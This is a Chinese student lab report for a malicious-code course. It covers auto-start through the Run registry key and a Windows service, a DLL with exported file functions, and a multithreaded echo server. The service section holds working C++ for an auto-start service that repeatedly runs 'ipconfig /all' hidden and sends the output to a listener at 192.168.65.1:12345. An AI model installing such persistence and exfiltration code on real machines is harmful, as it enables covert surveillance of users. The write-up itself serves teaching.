通过修改注册表添加服务的方式实现自启动 实验要求
编写代码,编辑注册表的Run/RunOnce/RunOnceEx键(任选其一,并明确三个键的区别),达到让某一程序在系统启动后自动运行的目的(可以以计算器、记事本等作为目标程序)。
以服务方式实现自启动,以DLL或者EXE方式均可。
实验环境
Windows 7或Windows 10主机(虚拟机);
代码编辑器;
C/C++代码运行所需环境。
实验目的 了解恶意代码自启动常用手段。
实验步骤 实践-1-修改注册表自启动 利用C语言编程,编辑HKEY_CURRENT_USER
下的自启动健Run
,实现开机自启动谷歌浏览器。
用到了Windows.h
库的regOpenResultEx
函数和regSetValueEx
等函数。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 #include <Windows.h> #include <stdio.h> int main () { HKEY hKey; LONG regOpenResult; regOpenResult = RegOpenKeyEx(HKEY_CURRENT_USER, "Software\\Microsoft\\Windows\\CurrentVersion\\Run" , 0 , KEY_ALL_ACCESS, &hKey); if (regOpenResult != ERROR_SUCCESS) { printf ("无法打开注册表键: %d\n" , regOpenResult); return 1 ; } const char * name = "auto_run_chrome" ; const char * value = "C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe" ; regOpenResult = RegSetValueEx(hKey,name,0 ,REG_SZ,value,strlen (value)+1 ); if (regOpenResult != ERROR_SUCCESS){ printf ("自启动项写入失败:%d\n" ,regOpenResult); return 1 ; }else { printf ("自启动项写入成功!\n" ); } RegCloseKey(hKey); return 0 ; }
1 2 3 PS C:\Users\jay1an\Desktop\2023 -10 -30 > gcc .\task1.c PS C:\Users\jay1an\Desktop\2023 -10 -30 > .\a.exe 自启动项写入成功!
然后再查看注册表,会发现谷歌浏览器已经被添加到run下了。
切换用户时(重启动也算),电脑会自动打开谷歌浏览器。
Run
/RunOnce
/RunOnceEx
的区别只考虑在 HKEY_CURRENT_USER
下的情况,HKEY_CURRENT_USER
中的项目只适用于当前登录的用户。
下面是有关 Run
、RunOnce
和 RunOnceEx
键的主要区别:
Run
键 (HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
):
执行时机 :这个键中的项目在当前用户每次登录后都会自动运行,包括系统启动和用户切换。
RunOnce
键 (HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce
):
执行时机 :这个键中的项目只在当前用户的下一次登录后运行一次,然后自动从注册表中删除。
RunOnceEx
键 (HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnceEx
):
执行时机 :这个键中的项目类似于RunOnce
键,只在当前用户的下一次登录后运行一次,然后自动从注册表中删除。
额外特性 :RunOnceEx
键允许更复杂的操作,如在项目中指定一个批处理文件或脚本,以便在登录时执行多个命令。
在单个用户的情况下,可以使用 Run
键来配置在每次该用户登录时自动运行的程序,而 RunOnce
键用于配置只在该用户的下一次登录时运行一次的程序。RunOnceEx
提供了更高级的选项,可以用于执行复杂的任务。
实践-2-添加服务实现自启动 创建服务的代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 #include <windows.h> #include <stdio.h> int main () { SC_HANDLE schSCManager, schService; TCHAR szPath[MAX_PATH] = "C:\\Users\\jay1an\\Desktop\\Practice2\\2023-11-13-service\\myservice.exe" ; schSCManager = OpenSCManager (NULL , NULL , SC_MANAGER_ALL_ACCESS); if (schSCManager == NULL ) { DWORD error = GetLastError (); if (error == ERROR_ACCESS_DENIED) { printf ("Access denied. Run the program as administrator.\n" ); } else { printf ("OpenSCManager failed (%d)\n" , error); } return 1 ; } schService = CreateService ( schSCManager, TEXT ("myservice" ), TEXT ("malicious code lab" ), SERVICE_ALL_ACCESS, SERVICE_WIN32_OWN_PROCESS, SERVICE_AUTO_START, SERVICE_ERROR_NORMAL, szPath, NULL , NULL , NULL , NULL , NULL ); if (schService == NULL ) { fprintf (stderr, "CreateService failed (%d)\n" , GetLastError ()); CloseServiceHandle (schSCManager); return 1 ; } else { printf ("Service installed successfully.\n" ); } if (!StartService (schService, 0 , NULL )) { fprintf (stderr, "StartService failed (%d)\n" , GetLastError ()); }else { printf ("Service starts successfully.\n" ); } CloseServiceHandle (schService); CloseServiceHandle (schSCManager); return 0 ; }
使用管理员权限运行创建-启动服务的程序:
可以在windows注册表(regedit
)中查看,也可以在服务控制台(services.msc
)中查看。
服务注册表位于注册表路径 HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\YourServiceName
下,其中 YourServiceName
是你的服务的名称。
在 Windows 操作系统中,服务注册表中的 ImagePath
是服务二进制文件的路径。该注册表项指定了服务的可执行文件位置。当服务被启动时,系统将加载该二进制文件,并执行其中的服务代码。
Start
的值为2,表示该服务在系统启动时自动启动。
但是自启动服务程序并不是普通的程序,而是要求程序创建服务入口点函数,否则,不能启动系统服务。
myservice.cpp代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 #include <winsock2.h> #include <windows.h> #include <ws2tcpip.h> #include <cstdio> #pragma comment(lib, "ws2_32.lib" ) #define DEFAULT_BUFLEN 1024 using namespace std;SERVICE_STATUS g_ServiceStatus = {0 }; SERVICE_STATUS_HANDLE g_StatusHandle = NULL ; HANDLE g_ServiceStopEvent = INVALID_HANDLE_VALUE; void cmd (const char *host,int port) { SOCKET ShellSock; sockaddr_in C2addr; WSADATA Sockver = { 0 }; WSAStartup (MAKEWORD (2 , 2 ), &Sockver); ShellSock = socket (AF_INET, SOCK_STREAM, IPPROTO_TCP); C2addr.sin_family = AF_INET; C2addr.sin_addr.S_un.S_addr = inet_addr (host); C2addr.sin_port = htons (port); if (WSAConnect (ShellSock, (SOCKADDR*)&C2addr, sizeof (C2addr), NULL , NULL , NULL , NULL ) == SOCKET_ERROR) { closesocket (ShellSock); WSACleanup (); return ; }else { HANDLE hReadPipe = NULL ; HANDLE hWritePipe = NULL ; SECURITY_ATTRIBUTES securityAttributes = { 0 }; BOOL bRet = FALSE; STARTUPINFO si = { 0 }; char command[DEFAULT_BUFLEN]; PROCESS_INFORMATION pi = { 0 }; char pszResultBuffer[DEFAULT_BUFLEN]; securityAttributes.bInheritHandle = TRUE; securityAttributes.nLength = sizeof (securityAttributes); securityAttributes.lpSecurityDescriptor = NULL ; bRet = CreatePipe (&hReadPipe, &hWritePipe, &securityAttributes, 0 ); if (!bRet || hReadPipe == INVALID_HANDLE_VALUE) { closesocket (ShellSock); WSACleanup (); } si.cb = sizeof (si); si.hStdError = hWritePipe; si.hStdOutput = hWritePipe; si.wShowWindow = SW_HIDE; si.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES; strcpy (command, "cmd.exe /c " ); strcat (command, "ipconfig /all" ); bRet = CreateProcess (NULL , command, NULL , NULL , TRUE, 0 , NULL , NULL , &si, &pi); WaitForSingleObject (pi.hThread, INFINITE); WaitForSingleObject (pi.hProcess, INFINITE); memset (pszResultBuffer, 0 , sizeof (pszResultBuffer)); DWORD bytesRead; if (!ReadFile (hReadPipe, pszResultBuffer, DEFAULT_BUFLEN, &bytesRead, NULL )) { closesocket (ShellSock); WSACleanup (); } CloseHandle (pi.hThread); CloseHandle (pi.hProcess); CloseHandle (hWritePipe); CloseHandle (hReadPipe); send (ShellSock, pszResultBuffer, DEFAULT_BUFLEN, 0 ); closesocket (ShellSock); WSACleanup (); } } void StartServiceWork () { while (WaitForSingleObject (g_ServiceStopEvent, 0 ) != WAIT_OBJECT_0) { const char * host = "192.168.65.1" ; int port = 12345 ; cmd (host,port); Sleep (3000 ); } } VOID WINAPI ServiceCtrlHandler (DWORD CtrlCode) { if (CtrlCode == SERVICE_CONTROL_STOP) { g_ServiceStatus.dwCurrentState = SERVICE_STOP_PENDING; SetServiceStatus (g_StatusHandle, &g_ServiceStatus); SetEvent (g_ServiceStopEvent); } } VOID WINAPI ServiceMain (DWORD argc, LPTSTR *argv) { g_StatusHandle = RegisterServiceCtrlHandler ("myservice" , ServiceCtrlHandler); g_ServiceStatus.dwServiceType = SERVICE_WIN32_OWN_PROCESS; g_ServiceStatus.dwCurrentState = SERVICE_START_PENDING; SetServiceStatus (g_StatusHandle, &g_ServiceStatus); g_ServiceStopEvent = CreateEvent (NULL , TRUE, FALSE, NULL ); g_ServiceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP; g_ServiceStatus.dwCurrentState = SERVICE_RUNNING; SetServiceStatus (g_StatusHandle, &g_ServiceStatus); StartServiceWork (); g_ServiceStatus.dwCurrentState = SERVICE_STOPPED; SetServiceStatus (g_StatusHandle, &g_ServiceStatus); } int main (int argc, char * argv[]) { char name []= "myservice" ; SERVICE_TABLE_ENTRY ServiceTable[] = { { name, (LPSERVICE_MAIN_FUNCTION)ServiceMain}, {NULL , NULL } }; StartServiceCtrlDispatcher (ServiceTable); return 0 ; }
192.168.65.1主机是用nc对12345端口进行监听:
运行了服务的虚拟机:
注:
1 [System Process] 0 TCP win-0r0scl2qm11.localdomain 49396 laptop-j2g20010 12345 TIME_WAIT
[System Process] : 这可能是指示此TCP连接所属的进程名称。在这里是“System Process”,表示这个连接由系统进程处理。
0 : 这可能是与TCP连接相关的进程ID(PID),但在这个文本中显示为0。这可能是因为系统进程通常不与特定的用户级进程关联。
TCP : 表示这是一个TCP连接。
win-0r0scl2qm11.localdomain : 是本地主机的名称或标识。
49396 : 是本地主机的端口号。
laptop-j2g20010 : 是远程主机的名称或标识。
12345 : 是远程主机的端口号。
TIME_WAIT : 是连接状态,表示连接已经关闭,但在等待一段时间后将被系统释放。
参考资料 https://www.cnblogs.com/TJTO/p/13216616.html
DLL文件编写 实验要求 编写一个DLL,使得在动态加载该DLL时,能够弹出“目标DLL已加载”的对话框。同时,为DLL添加两个导出函数,分别实现读取文件并打印出来,以及写入文件的功能,并且能够被其他程序动态调用。
实验环境
实验目的 了解DLL的作用和调用其函数的方法。
实验步骤 生成DLL
文件 编写task2.cpp,这段代码是一个 DLL(动态链接库)的主入口函数 DllMain
,以及三个导出函数 function_1
、ReadAndPrintFile
、WriteToFile
。
DllMain
是 DLL 的主入口函数,它在不同的情况下被调用,根据 ul_reason_for_call
参数的不同值,可以执行不同的操作。
task2.cpp中的DLLMain
函数在每一次被调用后都会通过MessageBoxW
函数提示当前的ul_reason_for_cal
。
参数意义:
①hModule
参数:指向DLL本身的实例句柄;
②ul_reason_for_call
参数:指明了DLL被调用的原因,可以有以下4个取值:
DLL_PROCESS_ATTACH:进程映射
当DLL被进程 <<第一次>> 调用时,导致DllMain
函数被调用,同时ul_reason_for_call
的值为DLL_PROCESS_ATTACH
,如果同一个进程后来再次调用此DLL时,操作系统只会增加DLL的使用次数,不会再用DLL_PROCESS_ATTACH
调用DLL的DllMain
函数。
DLL_PROCESS_DETACH:进程卸载
当DLL被从进程的地址空间解除映射时,系统调用了它的DllMain
,传递的ul_reason_for_call
值是DLL_PROCESS_DETACH
。
★如果进程的终结是因为调用了TerminateProcess
,系统就不会用DLL_PROCESS_DETACH
来调用DLL的DllMain
函数。这就意味着DLL在进程结束前没有机会执行任何清理工作。
DLL_THREAD_ATTACH:线程映射
当进程创建一线程时,系统查看当前映射到进程地址空间中的所有DLL文件映像,并用值DLL_THREAD_ATTACH
调用DLL的DllMain
函数。新创建的线程负责执行这次的DLL的DllMain
函数,只有当所有的DLL都处理完这一通知后,系统才允许线程开始执行它的线程函数。
DLL_THREAD_DETACH:线程卸载
如果线程调用了ExitThread
来结束线程(线程函数返回时,系统也会自动调用ExitThread
),系统查看当前映射到进程空间中的所有DLL文件映像,并用DLL_THREAD_DETACH
来调用DllMain
函数,通知所有的DLL去执行线程级的清理工作。
★注意:如果线程的结束是因为系统中的一个线程调用了TerminateThread
,系统就不会用值DLL_THREAD_DETACH
来调用所有DLL的DllMain
函数。
③lpReserved
参数:保留,目前没什么意义。
function_1
:一个简单的弹窗显示消息的函数,通过 MessageBoxW
函数显示一个包含 “Hello, this is function_1” 的消息框。
ReadAndPrintFile
:读取文件并打印内容到标准输出。它接收一个文件名作为参数,尝试以二进制方式打开文件,如果文件打开成功,将文件内容输出到标准输出流(std::cout
)。
WriteToFile
:写入内容到文件中。它接收一个文件名、要写入的内容和文件打开模式作为参数。打开文件时使用了传入的模式,将内容写入文件后关闭文件。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 #include <Windows.h> #include <iostream> #include <fstream> BOOL APIENTRY DllMain (HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) { switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: MessageBoxW (NULL , L"DLL_PROCESS_ATTACH" , L"DLL_PROCESS_ATTACH" , MB_ICONINFORMATION | MB_OK); break ; case DLL_THREAD_ATTACH: MessageBoxW (NULL , L"DLL_THREAD_ATTACH" , L"DLL_THREAD_ATTACH" , MB_ICONINFORMATION | MB_OK); break ; case DLL_THREAD_DETACH: MessageBoxW (NULL , L"DLL_THREAD_DETACH" , L"DLL_THREAD_DETACH" , MB_ICONINFORMATION | MB_OK); break ; case DLL_PROCESS_DETACH: MessageBoxW (NULL , L"DLL_PROCESS_DETACH" , L"DLL_PROCESS_DETACH" , MB_ICONINFORMATION | MB_OK); break ; } return TRUE; } extern "C" __declspec(dllexport) void function_1 () { MessageBoxW (NULL , L"Hello, this is function_1" , L"Function_1" , MB_ICONINFORMATION | MB_OK); } extern "C" __declspec(dllexport) void ReadAndPrintFile (const char * filename) { std::ifstream fileStream (filename, std::ios::binary) ; if (fileStream.is_open ()) { std::cout << "Content of " << filename << ":\n" ; std::cout << fileStream.rdbuf (); fileStream.close (); } else { std::cerr << "Error opening file: " << filename << "\n" ; } } extern "C" __declspec(dllexport) void WriteToFile (const char * filename, const char * content, std::ios_base::openmode mode) { std::ofstream fileStream (filename, mode | std::ios::binary) ; if (fileStream.is_open ()) { fileStream << content; fileStream.close (); std::cout << "Content written to " << filename << "\n" ; } else { std::cerr << "Error opening file for writing: " << filename << "\n" ; } }
将其导出为DLL
文件。
1 gcc -shared -o task2.dll task2.cpp
调用DLL
文件 然后编写a.cpp,使其加载刚刚导出的task2.dll文件,并调用task2.dll里的函数。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 #include <Windows.h> #include <iostream> typedef void (*Function1Ptr) () ;typedef void (*ReadAndPrintFilePtr) (const char *) ;typedef void (*WriteToFilePtr) (const char *, const char *, std::ios_base::openmode) ;int main (int argc, char * argv[]) { if (argc < 2 ) { std::cerr << "Usage: " << argv[0 ] << " <filename> [content]\n" ; return 1 ; } HMODULE dllHandle = LoadLibraryA ("task2.dll" ); if (dllHandle != NULL ) { Function1Ptr function1 = (Function1Ptr)GetProcAddress (dllHandle, "function_1" ); ReadAndPrintFilePtr readAndPrintFile = (ReadAndPrintFilePtr)GetProcAddress (dllHandle, "ReadAndPrintFile" ); WriteToFilePtr writeToFile = (WriteToFilePtr)GetProcAddress (dllHandle, "WriteToFile" ); if (function1 != NULL && readAndPrintFile != NULL && writeToFile != NULL ) { function1 (); if (argc == 2 ){ readAndPrintFile (argv[1 ]); } if (argc >= 3 ) { writeToFile (argv[1 ], argv[2 ], std::ios::app); } } else { std::cerr << "Failed to get function addresses.\n" ; } FreeLibrary (dllHandle); } else { std::cerr << "Failed to load DLL.\n" ; } return 0 ; }
编译a.cpp
测试 运行a.exe测试。
查看test.txt文件中的内容
当task2.dll文件被导入,DLLMain
函数会被执行,现在是被a.exe进程导入,所以运行了switch case
语句中DLL_PROCESS_ATTACH
分支下的代码。
然后调用了function_1函数,消息框被弹出。
紧接着运行ReadAndPrintFile
函数,打印test.txt文件中的内容,然后a.exe在结束之前需要执行FreeLibrary
卸载DLL
文件,这时switch case
语句中DLL_PROCESS_DETACH
分支下的代码会被执行。
往test.txt文件中写入数据。
简单多线程服务器 实验要求 编写一个简单的echo服务器程序(即:客户端与服务器建立连接后,在客户端输入消息,服务器端就会打印输入的消息),在4444端口进行监听。每有一个客户端进行连接时候,服务器创建一个子线程,对客户端程序进行服务。需要引入互斥量对共享代码区或全局变量进行互斥访问,要求使用信号传递等待机制。根据要求,客户端代码也需要自行编写。
实验环境
实验目的 了解恶意代码在通信时,会使用到的最基本的技术。练习多线程编程。
实验步骤 服务端的代码task3_server.cpp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 #include <iostream> #include <winsock2.h> #include <ws2tcpip.h> #include <thread> #include <mutex> #include <vector> #pragma comment(lib, "ws2_32.lib" ) std::mutex mtx; struct ClientInfo { std::string ip; int port; }; std::vector<ClientInfo> connectedClients; void HandleClient (SOCKET clientSocket) { char buffer[1024 ]; int bytesReceived; sockaddr_in clientAddr; int addrLen = sizeof (clientAddr); getpeername (clientSocket, (sockaddr*)&clientAddr, &addrLen); { std::lock_guard<std::mutex> lock (mtx) ; connectedClients.push_back ({inet_ntoa (clientAddr.sin_addr), ntohs (clientAddr.sin_port)}); std::cout << "Client connected. Total clients: " << connectedClients.size () << "\n" ; for (const auto & client : connectedClients) { std::cout << " " << client.ip << ":" << client.port << "\n" ; } std::cout << "-----------------------------\n" ; } do { bytesReceived = recv (clientSocket, buffer, sizeof (buffer), 0 ); if (bytesReceived > 0 ) { std::lock_guard<std::mutex> lock (mtx) ; buffer[bytesReceived] = '\0' ; std::cout << "Received from " << inet_ntoa (clientAddr.sin_addr) << ":" << ntohs (clientAddr.sin_port) << " - " << buffer << std::endl; send (clientSocket, buffer, bytesReceived, 0 ); } else if (bytesReceived == 0 ) { std::lock_guard<std::mutex> lock (mtx); std::cout << "Client " << inet_ntoa (clientAddr.sin_addr) << ":" << ntohs (clientAddr.sin_port) << " disconnected.\n" ; for (auto it = connectedClients.begin (); it != connectedClients.end (); ++it) { if (it->ip == inet_ntoa (clientAddr.sin_addr) && it->port == ntohs (clientAddr.sin_port)) { connectedClients.erase (it); break ; } } } } while (bytesReceived > 0 ); closesocket (clientSocket); } int main () { WSADATA wsaData; if (WSAStartup (MAKEWORD (2 , 2 ), &wsaData) != 0 ) { std::cerr << "Failed to initialize Winsock.\n" ; return 1 ; } SOCKET serverSocket = socket (AF_INET, SOCK_STREAM, 0 ); if (serverSocket == INVALID_SOCKET) { std::cerr << "Failed to create socket.\n" ; WSACleanup (); return 1 ; } sockaddr_in serverAddr; serverAddr.sin_family = AF_INET; serverAddr.sin_port = htons (4444 ); serverAddr.sin_addr.s_addr = INADDR_ANY; if (bind (serverSocket, (sockaddr*)&serverAddr, sizeof (serverAddr)) == SOCKET_ERROR) { std::cerr << "Failed to bind socket.\n" ; closesocket (serverSocket); WSACleanup (); return 1 ; } if (listen (serverSocket, SOMAXCONN) == SOCKET_ERROR) { std::cerr << "Failed to listen on socket.\n" ; closesocket (serverSocket); WSACleanup (); return 1 ; } std::cout << "Server is listening on port 4444...\n" ; while (true ) { SOCKET clientSocket = accept (serverSocket, nullptr , nullptr ); if (clientSocket == INVALID_SOCKET) { std::cerr << "Failed to accept client connection.\n" ; closesocket (serverSocket); WSACleanup (); return 1 ; } std::thread (HandleClient, clientSocket).detach (); } closesocket (serverSocket); WSACleanup (); return 0 ; }
这段代码是一个简单的基于Winsock的服务器程序,它监听端口4444,接受客户端连接,然后为每个客户端创建一个新的线程来处理通信。以下是这段代码的主要功能和一些值得注意的地方:
初始化Winsock:
1 2 3 if (WSAStartup (MAKEWORD (2 , 2 ), &wsaData) != 0 ) { }
这部分代码用于初始化Winsock库,确保网络库正确启动。
创建套接字并绑定:
1 2 3 4 5 SOCKET serverSocket = socket (AF_INET, SOCK_STREAM, 0 ); bind (serverSocket, (sockaddr*)&serverAddr, sizeof (serverAddr));listen (serverSocket, SOMAXCONN);
在这里,创建了一个套接字,将其绑定到特定地址和端口,然后开始监听客户端的连接请求。
主循环:
1 2 3 4 5 6 while (true ) { SOCKET clientSocket = accept (serverSocket, nullptr , nullptr ); std::thread (HandleClient, clientSocket).detach (); }
服务器在一个无限循环中等待客户端连接。每当有新的客户端连接时,服务器会为该客户端创建一个新的线程(使用 std::thread
)并调用 HandleClient
函数来处理与客户端的通信。
HandleClient函数:
1 2 3 void HandleClient (SOCKET clientSocket) { }
这个函数负责处理与每个客户端的通信。它首先获取客户端的地址信息,然后将客户端信息存储到 connectedClients
容器中。接着,它进入一个循环,不断接收客户端的消息,处理消息,并在客户端断开连接时进行清理。注意到这些对 connectedClients
容器和输出到 std::cout
的操作都被互斥锁 mtx
保护,以防止多线程访问时的竞争条件。
注意事项:
使用了互斥锁 mtx
来保护对 connectedClients
容器的并发访问,确保数据一致性。
为了避免死锁,对 connectedClients
容器的访问被包裹在大括号中,确保在离开大括号时锁被释放。
使用 std::thread(HandleClient, clientSocket).detach();
将客户端处理函数在新线程中运行,但这可能导致线程不能被适当地等待和管理,因此需要小心处理线程的生命周期。
客户端的代码task3_client.cpp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 #include <iostream> #include <winsock2.h> #pragma comment(lib, "ws2_32.lib" ) void sendDataToServer (SOCKET clientSocket, const std::string& message) { int bytesSent = send (clientSocket, message.c_str (), message.size (), 0 ); if (bytesSent == SOCKET_ERROR) { std::cerr << "Failed to send data to server.\n" ; } } void receiveDataFromServer (SOCKET clientSocket) { char buffer[1024 ]; int bytesRead = recv (clientSocket, buffer, sizeof (buffer), 0 ); if (bytesRead > 0 ) { buffer[bytesRead] = '\0' ; std::cout << "Received from server: " << buffer << "\n" ; } else if (bytesRead == 0 ) { std::cout << "Server closed the connection.\n" ; } else { std::cerr << "Failed to receive data from server.\n" ; } } int main () { WSADATA wsaData; if (WSAStartup (MAKEWORD (2 , 2 ), &wsaData) != 0 ) { std::cerr << "Failed to initialize Winsock.\n" ; return 1 ; } SOCKET clientSocket = socket (AF_INET, SOCK_STREAM, 0 ); if (clientSocket == INVALID_SOCKET) { std::cerr << "Failed to create socket.\n" ; WSACleanup (); return 1 ; } sockaddr_in serverAddress; serverAddress.sin_family = AF_INET; serverAddress.sin_port = htons (4444 ); serverAddress.sin_addr.s_addr = inet_addr ("192.168.65.136" ); if (connect (clientSocket, (struct sockaddr*)&serverAddress, sizeof (serverAddress)) == SOCKET_ERROR) { std::cerr << "Failed to connect to server.\n" ; closesocket (clientSocket); WSACleanup (); return 1 ; } std::cout << "Connected to server.\n" ; std::string message; do { std::cout << "Enter message (type 'exit' to close): " ; std::getline (std::cin, message); if (message == "exit" ) { sendDataToServer (clientSocket,"" ); break ; } sendDataToServer (clientSocket, message); receiveDataFromServer (clientSocket); } while (true ); closesocket (clientSocket); WSACleanup (); return 0 ; }
主要功能和值得注意的地方:
1. 初始化 Winsock 库:
1 2 3 4 5 WSADATA wsaData; if (WSAStartup (MAKEWORD (2 , 2 ), &wsaData) != 0 ) { std::cerr << "Failed to initialize Winsock.\n" ; return 1 ; }
这部分代码用于初始化 Winsock 库,确保网络库正确启动。
2. 创建套接字并连接到服务器:
1 2 3 4 5 6 7 8 9 10 11 12 13 SOCKET clientSocket = socket (AF_INET, SOCK_STREAM, 0 ); sockaddr_in serverAddress; serverAddress.sin_family = AF_INET; serverAddress.sin_port = htons (4444 ); serverAddress.sin_addr.s_addr = inet_addr ("192.168.65.136" ); if (connect (clientSocket, (struct sockaddr*)&serverAddress, sizeof (serverAddress)) == SOCKET_ERROR) { std::cerr << "Failed to connect to server.\n" ; closesocket (clientSocket); WSACleanup (); return 1 ; }
在这里,客户端创建了一个套接字并连接到指定的服务器地址和端口。
3. 发送和接收数据:
1 2 3 4 5 6 7 8 9 do { sendDataToServer (clientSocket, message); receiveDataFromServer (clientSocket); } while (true );
客户端通过 sendDataToServer
函数将用户输入的消息发送给服务器,并通过 receiveDataFromServer
函数接收服务器的响应。
4. 关闭套接字和清理 Winsock:
1 2 closesocket (clientSocket);WSACleanup ();
在程序结束时,客户端关闭套接字并清理 Winsock 资源。
5. 注意事项:
与服务器端一样,客户端也使用了 Winsock 初始化和清理。
IP 地址硬编码为 “192.168.65.136”,在实际应用中可能需要根据实际情况进行更灵活的配置。
输入 ‘exit’ 会退出循环,关闭套接字,并清理 Winsock
测试
输入以下指令编译cpp。
1 2 g++ task3_server.cpp -o task3_server.exe -lws2_32 g++ task3_client.cpp -o task3_client.exe -lws2_32
-lws2_32
选项的作用是在链接阶段将 Winsock 库与你的程序关联,使得你可以在程序中使用 Winsock 提供的网络函数。如果你在程序中使用了 Winsock 函数,但没有添加这个选项,编译器会报错,因为它找不到相应的函数实现。
在虚拟机(ip=192.168.65.136)上运行server程序,在物理机上运行client程序。
在虚拟机上运行task3_server.exe:
在物理机上运行task3_client.exe:
可以看见client端连接上server端时,server端会打印目前连接的client数量以及ip和port信息。
尝试多个client端连接server端
在物理机上运行3个task3_client.exe程序,模拟三个client连接至server。
可以在server端看见三个client的ip和port信息。
client端向server端发送数据
可以看见在server端可以正常收到多个client的消息,并且能够正确处理。